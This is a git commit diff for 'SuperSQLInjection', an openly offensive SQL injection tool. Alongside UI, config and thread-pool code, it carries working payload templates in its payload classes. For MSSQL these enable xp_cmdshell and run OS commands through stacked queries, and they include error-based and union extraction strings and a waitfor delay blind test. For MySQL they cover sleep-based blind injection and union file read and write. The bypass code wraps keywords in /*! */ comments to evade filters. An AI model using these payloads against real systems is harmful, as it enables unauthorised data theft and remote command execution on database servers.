更新版本

更新版本
This commit is contained in:
shack2
2018-08-21 15:43:31 +08:00
parent 6b8887af1e
commit e1fdc07d1e
50 changed files with 9145 additions and 1103 deletions

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -131,7 +131,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAAC
EwAAAk1TRnQBSQFMAgEBCgEAARgBBgEYAQYBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
EwAAAk1TRnQBSQFMAgEBCgEAAcABBgHAAQYBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
AwABQAMAATADAAEBAQABCAYAAQwYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5
AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA
@@ -281,7 +281,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAACq
DQAAAk1TRnQBSQFMAgEBBwEAAZgBBQGYAQUBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
DQAAAk1TRnQBSQFMAgEBBwEAAUABBgFAAQYBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
AwABQAMAASADAAEBAQABCAYAAQgYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5
AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA
@@ -409,6 +409,6 @@ Cache-Control: no-cache,no-store</value>
<value>852, 52</value>
</metadata>
<metadata name="$this.TrayHeight" type="System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<value>100</value>
<value>99</value>
</metadata>
</root>

View File

@@ -5,12 +5,12 @@ using System.Runtime.InteropServices;
// 有关程序集的常规信息通过以下
// 特性集控制。更改这些特性值可修改
// 与程序集关联的信息。
[assembly: AssemblyTitle("SuperSQLInjection")]
[assembly: AssemblyTitle("超级SQL注入工具")]
[assembly: AssemblyDescription("design by shack2")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("www.shack2.org")]
[assembly: AssemblyProduct("SuperSQLInjection")]
[assembly: AssemblyCopyright("Copyright © 2014-2016")]
[assembly: AssemblyProduct("超级SQL注入工具")]
[assembly: AssemblyCopyright("Copyright © 2014-2018")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
@@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
// 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值,
// 方法是按如下所示使用“*”:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.2016.05.25")]
[assembly: AssemblyFileVersion("1.2016.05.25")]
[assembly: AssemblyVersion("1.2018.08.09")]
[assembly: AssemblyFileVersion("1.2018.08.09")]

View File

@@ -29,6 +29,7 @@
private void InitializeComponent()
{
this.groupBox1 = new System.Windows.Forms.GroupBox();
this.chk_redirectDoGet = new System.Windows.Forms.CheckBox();
this.lbl_maxColumnsCount = new System.Windows.Forms.Label();
this.cob_maxClolumnsCount = new System.Windows.Forms.ComboBox();
this.chk_isAutoSaveConfig = new System.Windows.Forms.CheckBox();
@@ -41,7 +42,8 @@
this.cob_oneDomainMaxScanCount = new System.Windows.Forms.ComboBox();
this.label2 = new System.Windows.Forms.Label();
this.groupBox2 = new System.Windows.Forms.GroupBox();
this.chk_redirectDoGet = new System.Windows.Forms.CheckBox();
this.cmb_unionFill = new System.Windows.Forms.ComboBox();
this.label3 = new System.Windows.Forms.Label();
this.groupBox1.SuspendLayout();
this.groupBox2.SuspendLayout();
this.SuspendLayout();
@@ -49,6 +51,8 @@
// groupBox1
//
this.groupBox1.Controls.Add(this.chk_redirectDoGet);
this.groupBox1.Controls.Add(this.label3);
this.groupBox1.Controls.Add(this.cmb_unionFill);
this.groupBox1.Controls.Add(this.lbl_maxColumnsCount);
this.groupBox1.Controls.Add(this.cob_maxClolumnsCount);
this.groupBox1.Controls.Add(this.chk_isAutoSaveConfig);
@@ -63,6 +67,17 @@
this.groupBox1.TabStop = false;
this.groupBox1.Text = "系统配置";
//
// chk_redirectDoGet
//
this.chk_redirectDoGet.AutoSize = true;
this.chk_redirectDoGet.Location = new System.Drawing.Point(19, 131);
this.chk_redirectDoGet.Name = "chk_redirectDoGet";
this.chk_redirectDoGet.Size = new System.Drawing.Size(126, 16);
this.chk_redirectDoGet.TabIndex = 7;
this.chk_redirectDoGet.Text = "重定向使用GET请求";
this.chk_redirectDoGet.UseVisualStyleBackColor = true;
this.chk_redirectDoGet.CheckedChanged += new System.EventHandler(this.chk_redirectDoGet_CheckedChanged);
//
// lbl_maxColumnsCount
//
this.lbl_maxColumnsCount.AutoSize = true;
@@ -215,16 +230,26 @@
this.groupBox2.TabStop = false;
this.groupBox2.Text = "批量注入设置";
//
// chk_redirectDoGet
// cmb_unionFill
//
this.chk_redirectDoGet.AutoSize = true;
this.chk_redirectDoGet.Location = new System.Drawing.Point(19, 131);
this.chk_redirectDoGet.Name = "chk_redirectDoGet";
this.chk_redirectDoGet.Size = new System.Drawing.Size(126, 16);
this.chk_redirectDoGet.TabIndex = 7;
this.chk_redirectDoGet.Text = "重定向使用GET请求";
this.chk_redirectDoGet.UseVisualStyleBackColor = true;
this.chk_redirectDoGet.CheckedChanged += new System.EventHandler(this.chk_redirectDoGet_CheckedChanged);
this.cmb_unionFill.FormattingEnabled = true;
this.cmb_unionFill.Items.AddRange(new object[] {
"1",
"null"});
this.cmb_unionFill.Location = new System.Drawing.Point(351, 129);
this.cmb_unionFill.Name = "cmb_unionFill";
this.cmb_unionFill.Size = new System.Drawing.Size(70, 20);
this.cmb_unionFill.TabIndex = 5;
this.cmb_unionFill.SelectedValueChanged += new System.EventHandler(this.cmb_unionFill_SelectedValueChanged);
//
// label3
//
this.label3.AutoSize = true;
this.label3.Location = new System.Drawing.Point(274, 132);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(71, 12);
this.label3.TabIndex = 6;
this.label3.Text = "Union填充";
//
// Seting
//
@@ -261,5 +286,7 @@
private System.Windows.Forms.Label label2;
private System.Windows.Forms.GroupBox groupBox2;
private System.Windows.Forms.CheckBox chk_redirectDoGet;
private System.Windows.Forms.Label label3;
private System.Windows.Forms.ComboBox cmb_unionFill;
}
}

View File

@@ -56,6 +56,7 @@ namespace SuperSQLInjection
this.cob_oneDomainMaxSpiderCount.Text = main.config.maxSpiderCount.ToString();
this.cob_oneDomainMaxScanCount.Text = main.config.maxScanCount.ToString();
this.chk_redirectDoGet.Checked=main.config.redirectDoGet;
this.cmb_unionFill.Text = main.config.unionFill;
}
@@ -78,5 +79,10 @@ namespace SuperSQLInjection
{
main.config.redirectDoGet = this.chk_redirectDoGet.Checked;
}
private void cmb_unionFill_SelectedValueChanged(object sender, EventArgs e)
{
main.config.unionFill = this.cmb_unionFill.Text;
}
}
}

View File

@@ -151,8 +151,32 @@
<Compile Include="tools\LikeMath.cs" />
<Compile Include="tools\ListViewColumnSorter.cs" />
<Compile Include="tools\MyCopare.cs" />
<Compile Include="tools\smartthread\CallerThreadContext.cs" />
<Compile Include="tools\smartthread\CanceledWorkItemsGroup.cs" />
<Compile Include="tools\smartthread\EventWaitHandle.cs" />
<Compile Include="tools\smartthread\EventWaitHandleFactory.cs" />
<Compile Include="tools\smartthread\Exceptions.cs" />
<Compile Include="tools\smartthread\Interfaces.cs" />
<Compile Include="tools\smartthread\InternalInterfaces.cs" />
<Compile Include="tools\smartthread\PriorityQueue.cs" />
<Compile Include="tools\smartthread\SLExt.cs" />
<Compile Include="tools\smartthread\SmartThreadPool.cs" />
<Compile Include="tools\smartthread\SmartThreadPool.ThreadEntry.cs" />
<Compile Include="tools\smartthread\Stopwatch.cs" />
<Compile Include="tools\smartthread\STPEventWaitHandle.cs" />
<Compile Include="tools\smartthread\STPPerformanceCounter.cs" />
<Compile Include="tools\smartthread\STPStartInfo.cs" />
<Compile Include="tools\smartthread\SynchronizedDictionary.cs" />
<Compile Include="tools\smartthread\WIGStartInfo.cs" />
<Compile Include="tools\smartthread\WorkItem.cs" />
<Compile Include="tools\smartthread\WorkItem.WorkItemResult.cs" />
<Compile Include="tools\smartthread\WorkItemFactory.cs" />
<Compile Include="tools\smartthread\WorkItemInfo.cs" />
<Compile Include="tools\smartthread\WorkItemResultTWrapper.cs" />
<Compile Include="tools\smartthread\WorkItemsGroup.cs" />
<Compile Include="tools\smartthread\WorkItemsGroupBase.cs" />
<Compile Include="tools\smartthread\WorkItemsQueue.cs" />
<Compile Include="tools\StringLengthComparer.cs" />
<Compile Include="tools\thread\MyThreadPool.cs" />
<Compile Include="tools\OnlineMD5.cs" />
<Compile Include="tools\Tools.cs" />
<Compile Include="tools\encode\URLTools.cs" />
@@ -224,7 +248,18 @@
</BootstrapperPackage>
</ItemGroup>
<ItemGroup>
<Content Include="update.txt" />
<Folder Include="tools\thread\" />
</ItemGroup>
<ItemGroup>
<COMReference Include="MSScriptControl">
<Guid>{0E59F1D2-1FBE-11D0-8FF2-00A0D10038BC}</Guid>
<VersionMajor>1</VersionMajor>
<VersionMinor>0</VersionMinor>
<Lcid>0</Lcid>
<WrapperTool>tlbimp</WrapperTool>
<Isolated>False</Isolated>
<EmbedInteropTypes>True</EmbedInteropTypes>
</COMReference>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.

View File

@@ -13,9 +13,10 @@ namespace SuperSQLInjection.bypass
{
public static String strReplaceCenter(Config config, String request, Hashtable replaceList)
{
//修改随机值
request = Regex.Replace(request, "(\\<Rand\\>[.\\s\\S]*?\\<\\/Rand\\>)", System.Guid.NewGuid().ToString("N"));
//找到需要处理的字符
MatchCollection mc = Regex.Matches(request, "(?<=(\\<sEncode\\>))[.\\s\\S]*?(?=(\\<eEncode\\>))");
MatchCollection mc = Regex.Matches(request, "(?<=(\\<Encode\\>))[.\\s\\S]*?(?=(\\<\\/Encode\\>))");
String str="";
foreach (Match m in mc)
{
@@ -33,7 +34,7 @@ namespace SuperSQLInjection.bypass
if (!"".Equals(val)) {
split = val;
}
str = ReplaceString(str, split);
str = IncludeString(str);
}
if (config.isOpenURLEncoding)
{
@@ -46,7 +47,7 @@ namespace SuperSQLInjection.bypass
if (config.inculdeStr)
{
///*!包含*/
str = ReplaceString(str, "%20");
str = IncludeString(str);
}
if (config.isOpenURLEncoding)
{
@@ -71,7 +72,7 @@ namespace SuperSQLInjection.bypass
str = base64Encoding(str,config.base64Count);
}
//替换request
request = request.Replace("<sEncode>" + m.Value + "<eEncode>", str);
request = request.Replace("<Encode>" + m.Value + "</Encode>", str);
}
return request;
}
@@ -105,7 +106,7 @@ namespace SuperSQLInjection.bypass
{
String key = ite.Key.ToString();
if (!String.IsNullOrEmpty(key)) {
str = str.Replace(key, ite.Value + "");
str = str.ToLower().Replace(key, ite.Value + "");
}
}
@@ -120,23 +121,30 @@ namespace SuperSQLInjection.bypass
}
public static String ReplaceString(String oldStr,String splitStr)
public static String IncludeString(String str)
{
StringBuilder sb = new StringBuilder();
try
{
String[] strs = Regex.Split(oldStr, splitStr.Replace("/**/","/\\*\\*/"));
for (int i = 0; i < strs.Length; i++) {
sb.Append("/*!" + strs[i] + "*/");
sb.Append(splitStr);
MatchCollection mc = Regex.Matches(str, "[a-zA-Z_\\.\\(\\@]{2,50}");
int sum = 0;
StringBuilder sb = new StringBuilder();
foreach (Match m in mc)
{
if (m.Value.IndexOf("@") != -1)
{
continue;
}
str =str.Insert(m.Index+(sum), "/*!");
sum += 3;
str=str.Insert(m.Index+(sum) +m.Length, "*/");
sum += 2;
}
}
catch (Exception e)
{
Tools.SysLog("使用/*!*/包含关键字发生错误!----" + e.Message);
}
return sb.ToString().Remove(sb.Length-splitStr.Length,splitStr.Length);
return str;
}
@@ -186,12 +194,12 @@ namespace SuperSQLInjection.bypass
StringBuilder sb = new StringBuilder();
try
{
MatchCollection mc = Regex.Matches(oldStr, "([a-zA-Z_\\.]+"+split+ "|[a-zA-Z_\\.]+\\()");
MatchCollection mc = Regex.Matches(oldStr, "([a-zA-Z_\\.]+|\\@+[a-zA-Z_]+|[a-zA-Z_]\\(\\)+)");
foreach (Match m in mc) {
String keyStr =m.Groups[0].Value;
//库名.表不处理防止部分情况出现错误
if (keyStr.IndexOf(".") != -1) {
//库名.表,全局变量,环境变量不处理防止部分情况出现错误
if (keyStr.IndexOf(".") != -1||keyStr.IndexOf("@") != -1 || keyStr.IndexOf("()") != -1) {
continue;
}
if (changeType == 1) {

View File

@@ -39,6 +39,12 @@ namespace SuperSQLInjection.model
public Boolean redirectDoGet = false;//重定向使用的请求方法
public int maxClolumns = 50;
public int urlencodeCount = 1;//url编码次数
public String unionFill = "1";//union查询填充列
//token
public String token_request = "";//获取token的request
public String token_startStr = "";//获取token的开始字符
public String token_endStr = "";//获取token的结束字符
//file
public String readFileEncoding = "GBK";
@@ -56,6 +62,8 @@ namespace SuperSQLInjection.model
public String replaceStrs="";//字符替换
public Boolean base64 = false;//base64
public int base64Count = 0;
public Boolean useBetweenByPass = false;//between绕过
//scan
public int level = 0;
public int linkCount = 1;

View File

@@ -29,7 +29,7 @@ namespace SuperSQLInjection.payload
public static String unicode_value = "ascw(mid({data},{index},1))";
public static String getUnionDataValue(int columnsLen, int showIndex, List<String> columns, String table, String index)
public static String getUnionDataValue(int columnsLen, int showIndex,String Fill,List<String> columns, String table, String index)
{
StringBuilder sb = new StringBuilder();
String data = "chr(94)&chr(94)&chr(33)&" + Comm.unionColumns(columns, "&chr(36)&chr(36)&chr(36)&") + "&chr(33)&chr(94)&chr(94)";
@@ -42,7 +42,7 @@ namespace SuperSQLInjection.payload
}
else
{
sb.Append("1,");
sb.Append(Fill+",");
}
}
sb.Remove(sb.Length - 1, 1);
@@ -50,7 +50,7 @@ namespace SuperSQLInjection.payload
}
public static String getUnionDataValue(int columnsLen, int showIndex, int Fill, String dataPayLoad)
public static String getUnionDataValue(int columnsLen, int showIndex, String Fill, String dataPayLoad)
{
StringBuilder sb = new StringBuilder();
for (int i = 1; i <= columnsLen; i++)

View File

@@ -24,7 +24,7 @@ namespace SuperSQLInjection.payload
}
public static String unionColumnCountTest(int maxColumn,int fill)
public static String unionColumnCountTest(int maxColumn,String fill)
{
StringBuilder sb = new StringBuilder(" and 1=2 union all select ");
for (int i = 1; i <= maxColumn;i++ )

View File

@@ -41,6 +41,8 @@ namespace SuperSQLInjection.payload
//多字符
public static String unicode_value = "cast(unicode(substring({data},{index},1)) as varchar(100))";
public static String nocast_unicode_value = "unicode(substring({data},{index},1))";
public static String substr = "substring(({data}),{index},1)";
public static String substr_value = "substring(({data}),{index},{len})";
@@ -49,6 +51,7 @@ namespace SuperSQLInjection.payload
public static String bool_length = " and len({data})>{len}";
public static String bool_dataLength = " and datalength({data})>{len}";
public static String bool_value = " and {data}>{len}";
public static String check_li_value = " and len({data})<{len}";
//bool方式获取值
@@ -62,11 +65,11 @@ namespace SuperSQLInjection.payload
public static String union_value = " and 1=2 union all select {data}";
//error方式
public static String error_value = " or convert(int,(char(94)+char(94)+char(33)+cast({data} as varchar(2000))+char(33)+char(94)+char(94)))=1";
public static String error_value = " and convert(int,(char(94)+char(94)+char(33)+cast({data} as varchar(2000))+char(33)+char(94)+char(94)))=1";
//cmd
public static String createTable = ";drop table ssqlinjection;create table ssqlinjection(id int primary key identity,data text);exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;declare @cmd varchar(8000);set @cmd={cmd};insert into ssqlinjection(data) exec [master]..[xp_cmdshell] @cmd--";
public static String createTable = ";drop table ssqlinjection;create table ssqlinjection(id int primary key identity,data varchar(8000));exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;declare @cmd varchar(8000);set @cmd={cmd};insert into ssqlinjection(data) exec [master]..[xp_cmdshell] @cmd--";
public static String cmdData = "cast((select top 1 data from ssqlinjection where id={index}) as varchar(8000))";
public static String cmdDataCount = "(select count(*) from ssqlinjection)";
public static String dropTable = ";drop table ssqlinjection;--";
@@ -81,19 +84,22 @@ namespace SuperSQLInjection.payload
//读文件的的payload
public static String file_content = "(select data from ssqlinjection)";
public static String getBoolCountBySleep(String data, int maxTime)
{
return ";if(0x1=0x1" + data + ") waitfor delay '0:0:"+ maxTime + "'";
}
/// <summary>
/// 获取union的payload
/// </summary>
/// <param name="columnsLen">列长</param>
/// <param name="showIndex">显示列</param>
/// <param name="Fill">填充</param>
/// <param name="dbname">数据库名</param>
/// <param name="table">表名</param>
/// <param name="column">获取数据的字段</param>
/// <param name="index">第几行数据1开始</param>
public static String getUnionDataValue(int columnsLen,int showIndex,int Fill,String dbname,String table,List<String> columns,int index)
/// <summary>
/// 获取union的payload
/// </summary>
/// <param name="columnsLen">列长</param>
/// <param name="showIndex">显示列</param>
/// <param name="Fill">填充</param>
/// <param name="dbname">数据库名</param>
/// <param name="table">表名</param>
/// <param name="column">获取数据的字段</param>
/// <param name="index">第几行数据1开始</param>
public static String getUnionDataValue(int columnsLen,int showIndex,String Fill,String dbname,String table,List<String> columns,int index)
{
StringBuilder sb = new StringBuilder();
String data = data_value.Replace("{data}", concatAllColumnsByConcatStr(columns)).Replace("{allcolumns}", concatAllColumns(columns)).Replace("{orderby}", columns[0]);
@@ -122,7 +128,7 @@ namespace SuperSQLInjection.payload
/// <param name="Fill">填充</param>
/// <param name="dataPayLoad">值payload</param>
/// <returns></returns>
public static String getUnionDataValue(int columnsLen, int showIndex, int Fill,String dataPayLoad)
public static String getUnionDataValue(int columnsLen, int showIndex, String Fill,String dataPayLoad)
{
StringBuilder sb = new StringBuilder();
for (int i = 1; i <= columnsLen; i++)
@@ -140,7 +146,7 @@ namespace SuperSQLInjection.payload
return union_value.Replace("{data}", sb.ToString());
}
public static String getUnionDataValueByCMD(int columnsLen, int showIndex, String dataPayLoad)
public static String getUnionDataValueByCMD(int columnsLen, int showIndex, String Fill, String dataPayLoad)
{
StringBuilder sb = new StringBuilder();
for (int i = 1; i <= columnsLen; i++)
@@ -151,7 +157,7 @@ namespace SuperSQLInjection.payload
}
else
{
sb.Append("1,");
sb.Append(Fill+",");
}
}
sb.Remove(sb.Length - 1, 1);
@@ -169,7 +175,7 @@ namespace SuperSQLInjection.payload
/// <param name="table">表名</param>
/// <param name="index">第几行数据1开始</param>
/// <returns></returns>
public static String getUnionDataValue(int columnsLen, int showIndex, int Fill, String dataPayLoad,String dbname,String table,String index)
public static String getUnionDataValue(int columnsLen, int showIndex, String Fill, String dataPayLoad,String dbname,String table,String index)
{
StringBuilder sb = new StringBuilder();
for (int i = 1; i <= columnsLen; i++)

View File

@@ -12,7 +12,7 @@ namespace SuperSQLInjection.payload
public static List<String> vers = FileTool.readFileToList(path);
public static String char_length = "(select char_length({data}))";
//数据库数量
public static String dbs_count = "(select count(*) from information_schema.schemata)";
//表数量
@@ -32,7 +32,7 @@ namespace SuperSQLInjection.payload
public static String bool_length = "char_length({data})";
public static String bool_value = "ascii(mid({data},{index},1))";
public static String mid_value = "(mid({data},{index},1))";
//获取数据库数量bool方式
public static String bool_db_count = " and " + dbs_count + ">{len}";
@@ -45,13 +45,19 @@ namespace SuperSQLInjection.payload
//多字符长度判断
public static String mu_value = "(hex(convert((mid({data},{index},1)) using UTF8)))";
//public static String mu_value = "(hex(convert((mid({data},{index},1)) using UTF8)))";
//多字符处理判断
public static String ord_value = "(ord(mid({data},{index},1)))";
//bool方式字符长度判断
public static String ver_length = " and "+ bool_length + ">{len}";
//bool方式获取值
public static String ver_value = " and "+ bool_value + ">{len}";
//bool方式获取值
public static String bool_ord_value = " and " + mid_value + ">{len}";
//获取行数据bool
public static String data_value = "(select {columns} from {dbname}.{table} limit {limit},1)";
@@ -70,10 +76,11 @@ namespace SuperSQLInjection.payload
public static String hex = "(select hex({data}))";
public static String hex_value = "(select hex(convert(({data}) using UTF8)))";
public static String substr_value = "(select substr({data},{start},{len}))";
public static String getBoolCountBySleep(String data,int maxTime)
{
return " AND (SELECT * FROM (SELECT(SLEEP("+ maxTime + "-(IF(("+data+ ">{len}), 0, " + maxTime + ")))))"+Tools.RandStr(4)+")";
return " and (select * from (select(sleep("+ maxTime + "-(if(("+data+ ">{len}), 0, " + maxTime + ")))))"+Tools.RandStr(4)+")";
}
/// <summary>
@@ -129,7 +136,7 @@ namespace SuperSQLInjection.payload
return sb.ToString();
}
public static String creatMySQLReadFileByUnion(int columnsLen, int showIndex,String data)
public static String creatMySQLReadFileByUnion(int columnsLen, int showIndex,String fill,String data)
{
StringBuilder sb = new StringBuilder();
for (int i = 1; i <= columnsLen; i++)
@@ -142,13 +149,13 @@ namespace SuperSQLInjection.payload
else
{
sb.Append("1,");
sb.Append(fill+",");
}
}
return sb.Remove(sb.Length - 1, 1).ToString();
}
public static String creatMySQLWriteFileByUnion(int columnsLen, int dataIndex, String path,String content)
public static String creatMySQLWriteFileByUnion(int columnsLen, int dataIndex,String fill, String path,String content)
{
StringBuilder sb = new StringBuilder(" union select ");
for (int i = 1; i <= columnsLen; i++)
@@ -161,7 +168,7 @@ namespace SuperSQLInjection.payload
else
{
sb.Append("1,");
sb.Append(fill+",");
}
}
sb.Remove(sb.Length - 1, 1);

View File

@@ -176,6 +176,42 @@ namespace tools
Encoding chs = Encoding.GetEncoding(charset);
return chs.GetString(bytes);
}
public static string StringToHexString(string s, Encoding encode)
{
byte[] b = encode.GetBytes(s);//按照指定编码将string编程字节数组
string result = string.Empty;
for (int i = 0; i < b.Length; i++)//逐字节变为16进制字符
{
result += Convert.ToString(b[i], 16);
}
return result;
}
public static String HexStringToString(String hs, String encodeStr)
{
try
{
Encoding encode = Encoding.GetEncoding(encodeStr);
string strTemp = "";
byte[] b = new byte[hs.Length / 2];
for (int i = 0; i < hs.Length / 2; i++)
{
strTemp = hs.Substring(i * 2, 2);
b[i] = Convert.ToByte(strTemp, 16);
}
return encode.GetString(b);
}
catch (Exception e)
{
SysLog("HexStringToString解码错误!"+e.GetBaseException());
}
return "";
}
/// <summary>
/// 将数组转换成字符串
/// </summary>
@@ -719,5 +755,62 @@ namespace tools
return datapack;
}
public static String substr(String str,String startStr, String endStr) {
try
{
if (!String.IsNullOrEmpty(str))
{
int start = str.IndexOf(startStr);
if (start != -1)
{
int end = str.IndexOf(endStr, start+ startStr.Length);
if (end != -1)
{
String token = str.Substring(start + startStr.Length, end - start - startStr.Length);
return token;
}
}
}
}
catch (Exception e)
{
SysLog("截取字符发生异常Tools.substr");
}
return "";
}
private object ExecuteScript(string funcName, string argument, string jsPath)
{
string js = System.IO.File.ReadAllText(jsPath);
object o = ExecuteScript(string.Format("{0}('{1}')", funcName, argument), js);
return o;
}
/// <summary>
/// 执行JS
/// </summary>
/// <param name="sExpression">参数体</param>
/// <param name="sCode">JavaScript代码的字符串</param>
/// <returns></returns>
private object ExecuteScript(string sExpression, string sCode)
{
MSScriptControl.ScriptControl scriptControl = new MSScriptControl.ScriptControl();
scriptControl.UseSafeSubset = true;
scriptControl.Language = "javascript";
scriptControl.AddCode(sCode);
try
{
return scriptControl.Eval(sExpression);
}
catch (Exception ex)
{
SysLog("js执行异常"+ex.GetBaseException());
}
return null;
}
}
}

View File

@@ -51,6 +51,17 @@ namespace SuperSQLInjection.tools
*/
public static ServerInfo sendRequestRetry(Boolean isSSL, int tryCount, String host, int port, String payload, String request, int timeout, String encoding, Boolean foward_302,Boolean redirectDoGet)
{
if (request.IndexOf("<Token>") != -1) {
String token = "";
if (!"".Equals(main.config.token_request) &&!"".Equals(main.config.token_startStr)&& !"".Equals(main.config.token_endStr))
{
ServerInfo tserver = HTTP.sendRequestRetryNoToken(isSSL, tryCount, host, port, "获取Token", main.config.token_request, timeout, encoding, foward_302, redirectDoGet);
token = Tools.substr(tserver.body, main.config.token_startStr, main.config.token_endStr);
}
request = Regex.Replace(request, "(\\<Token\\>[.\\s\\S]*?\\<\\/Token\\>)", token);
}
int count = 0;
ServerInfo server = new ServerInfo();
@@ -90,6 +101,47 @@ namespace SuperSQLInjection.tools
}
public static ServerInfo sendRequestRetryNoToken(Boolean isSSL, int tryCount, String host, int port, String payload, String request, int timeout, String encoding, Boolean foward_302, Boolean redirectDoGet)
{
int count = 0;
ServerInfo server = new ServerInfo();
timeout = timeout * 1000;
while (true)
{
if (count > tryCount) break;
try
{
if (!isSSL)
{
server = sendHTTPRequest(count, host, port, payload, request, timeout, encoding, foward_302, redirectDoGet);
return server;
}
else
{
server = sendHTTPSRequest(count, host, port, payload, request, timeout, encoding, foward_302, redirectDoGet);
return server;
}
}
catch (Exception e)
{
Tools.SysLog("发包发生异常,正在重试----" + e.Message);
server.timeout = true;
continue;
}
finally
{
count++;
}
}
return server;
}
private static void checkContentLength(ref ServerInfo server,ref String request) {
//重新计算并设置Content-length
@@ -283,7 +335,7 @@ namespace SuperSQLInjection.tools
if (server.headers.ContainsKey(Content_Length))
{
int length = int.Parse(server.headers[Content_Length]);
responseBody = new byte[length];
while (sum < length && sw.ElapsedMilliseconds < timeout)
{
int readsize = length - sum;
@@ -514,7 +566,7 @@ namespace SuperSQLInjection.tools
}
}
server.request = request;
byte[] responseBody = new byte[1024 * 1000];
byte[] responseBody = new byte[1024 * 1024*10];
int len = 0;
//获取header头
String tmp = "";
@@ -581,6 +633,9 @@ namespace SuperSQLInjection.tools
if (server.headers.ContainsKey(Content_Length))
{
int length = int.Parse(server.headers[Content_Length]);
//根据长度申请byte
responseBody = new byte[length];
while (sum < length && sw.ElapsedMilliseconds < timeout)
{
len = ssl.Read(responseBody, sum, length - sum);

View File

@@ -0,0 +1,138 @@
#if !(_WINDOWS_CE) && !(_SILVERLIGHT) && !(WINDOWS_PHONE)
using System;
using System.Diagnostics;
using System.Threading;
using System.Reflection;
using System.Web;
using System.Runtime.Remoting.Messaging;
namespace Amib.Threading.Internal
{
#region CallerThreadContext class
/// <summary>
/// This class stores the caller call context in order to restore
/// it when the work item is executed in the thread pool environment.
/// </summary>
internal class CallerThreadContext
{
#region Prepare reflection information
// Cached type information.
private static readonly MethodInfo getLogicalCallContextMethodInfo =
typeof(Thread).GetMethod("GetLogicalCallContext", BindingFlags.Instance | BindingFlags.NonPublic);
private static readonly MethodInfo setLogicalCallContextMethodInfo =
typeof(Thread).GetMethod("SetLogicalCallContext", BindingFlags.Instance | BindingFlags.NonPublic);
private static string HttpContextSlotName = GetHttpContextSlotName();
private static string GetHttpContextSlotName()
{
FieldInfo fi = typeof(HttpContext).GetField("CallContextSlotName", BindingFlags.Static | BindingFlags.NonPublic);
if (fi != null)
{
return (string) fi.GetValue(null);
}
return "HttpContext";
}
#endregion
#region Private fields
private HttpContext _httpContext;
private LogicalCallContext _callContext;
#endregion
/// <summary>
/// Constructor
/// </summary>
private CallerThreadContext()
{
}
public bool CapturedCallContext
{
get
{
return (null != _callContext);
}
}
public bool CapturedHttpContext
{
get
{
return (null != _httpContext);
}
}
/// <summary>
/// Captures the current thread context
/// </summary>
/// <returns></returns>
public static CallerThreadContext Capture(
bool captureCallContext,
bool captureHttpContext)
{
Debug.Assert(captureCallContext || captureHttpContext);
CallerThreadContext callerThreadContext = new CallerThreadContext();
// TODO: In NET 2.0, redo using the new feature of ExecutionContext class - Capture()
// Capture Call Context
if(captureCallContext && (getLogicalCallContextMethodInfo != null))
{
callerThreadContext._callContext = (LogicalCallContext)getLogicalCallContextMethodInfo.Invoke(Thread.CurrentThread, null);
if (callerThreadContext._callContext != null)
{
callerThreadContext._callContext = (LogicalCallContext)callerThreadContext._callContext.Clone();
}
}
// Capture httpContext
if (captureHttpContext && (null != HttpContext.Current))
{
callerThreadContext._httpContext = HttpContext.Current;
}
return callerThreadContext;
}
/// <summary>
/// Applies the thread context stored earlier
/// </summary>
/// <param name="callerThreadContext"></param>
public static void Apply(CallerThreadContext callerThreadContext)
{
if (null == callerThreadContext)
{
throw new ArgumentNullException("callerThreadContext");
}
// Todo: In NET 2.0, redo using the new feature of ExecutionContext class - Run()
// Restore call context
if ((callerThreadContext._callContext != null) && (setLogicalCallContextMethodInfo != null))
{
setLogicalCallContextMethodInfo.Invoke(Thread.CurrentThread, new object[] { callerThreadContext._callContext });
}
// Restore HttpContext
if (callerThreadContext._httpContext != null)
{
HttpContext.Current = callerThreadContext._httpContext;
//CallContext.SetData(HttpContextSlotName, callerThreadContext._httpContext);
